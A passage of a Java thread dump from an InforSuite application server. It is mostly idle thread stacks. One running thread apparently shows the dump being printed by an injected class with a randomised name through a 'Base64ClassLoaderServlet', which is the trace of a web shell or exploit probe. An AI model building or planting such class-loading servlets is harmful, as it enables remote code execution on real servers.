java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-6" #146 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DynamicReloader" #112 daemon [TIMED_WAITING] on java.util.TaskQueue@4f79665b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-listener-1-expirer(1)" #66 daemon [TIMED_WAITING] on java.lang.Object@45ca2d35 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.cvicse.inforsuite.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:130) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(15)" #48 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"AutoDeployer" #114 daemon [TIMED_WAITING] on java.util.TaskQueue@96d2688 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-2(15)" #82 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-20-thread-1" #148 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(4)" #71 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"monitor" #28 daemon [WAITING] on java.util.TaskQueue@1da82fa1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-1(4)" #37 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(32)" #104 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-11-thread-1" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1ee2c5f5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.bixi.config.Transactions$Notifier$1.run(Transactions.java:123) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(18)" #51 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@ab866ed + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Timer-0" #19 daemon [WAITING] on java.util.TaskQueue@3a41594f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-1(29)" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at org.springframework.upuVk.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:234) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1437) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:171) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:209) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:93) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:569) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:509) + at com.cvicse.loong.enterprise.web.WebPipeline.invoke(WebPipeline.java:59) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:91) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:294) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:168) + at com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:446) + at com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper.service(ContainerMapper.java:138) + at com.cvicse.inforsuite.grizzly.http.server.HttpHandler.runService(HttpHandler.java:166) + at com.cvicse.inforsuite.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:140) + at com.cvicse.inforsuite.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:201) + at com.cvicse.inforsuite.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:79) + at com.cvicse.inforsuite.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:244) + at com.cvicse.inforsuite.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:161) + at com.cvicse.inforsuite.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:93) + at com.cvicse.inforsuite.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:72) + at com.cvicse.inforsuite.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:34) + at com.cvicse.inforsuite.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:508) + at com.cvicse.inforsuite.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:69) + at com.cvicse.inforsuite.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:77) + at com.cvicse.inforsuite.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:16) + at com.cvicse.inforsuite.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:97) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:553) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-10-thread-1" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@761fd7e9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.bixi.config.Transactions$Notifier$1.run(Transactions.java:123) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(31)" #103 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(7)" #40 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(10)" #43 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(30)" #102 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(24)" #57 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Log4j2-TF-2-Scheduled-1" #13 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34a50397 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixFrameworkWiring" #18 daemon [WAITING] on java.util.ArrayList@6648ac81 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:162) + at java.lang.Thread.run(Thread.java:748) + +"Thread-24" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c25ac63 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-9-thread-1" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@72d03ccf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.bixi.config.Transactions$Notifier$1.run(Transactions.java:123) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GC Daemon" #125 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@12690d7b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-thread-pool::http-listener-1(3)" #36 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(22)" #90 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(25)" #58 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-14-thread-1" #139 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(17)" #50 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(2)-192.168.215.4" #129 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:475) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:469) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:69) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1228) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:75) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:915) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$16/1961326705.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-kernel(1) SelectorRunner" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.cvicse.inforsuite.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:74) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:299) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.run(SelectorRunner.java:239) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:553) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-22-thread-1" #150 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(30)" #63 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837847663" #22 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7ecd3aba + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixStartLevel" #17 daemon [WAITING] on java.util.ArrayList@54b936d8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:279) + at java.lang.Thread.run(Thread.java:748) + +"pool-7-thread-1" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1aacbfae + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.bixi.config.Transactions$Notifier$1.run(Transactions.java:123) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(29)" #101 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(28)" #100 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at 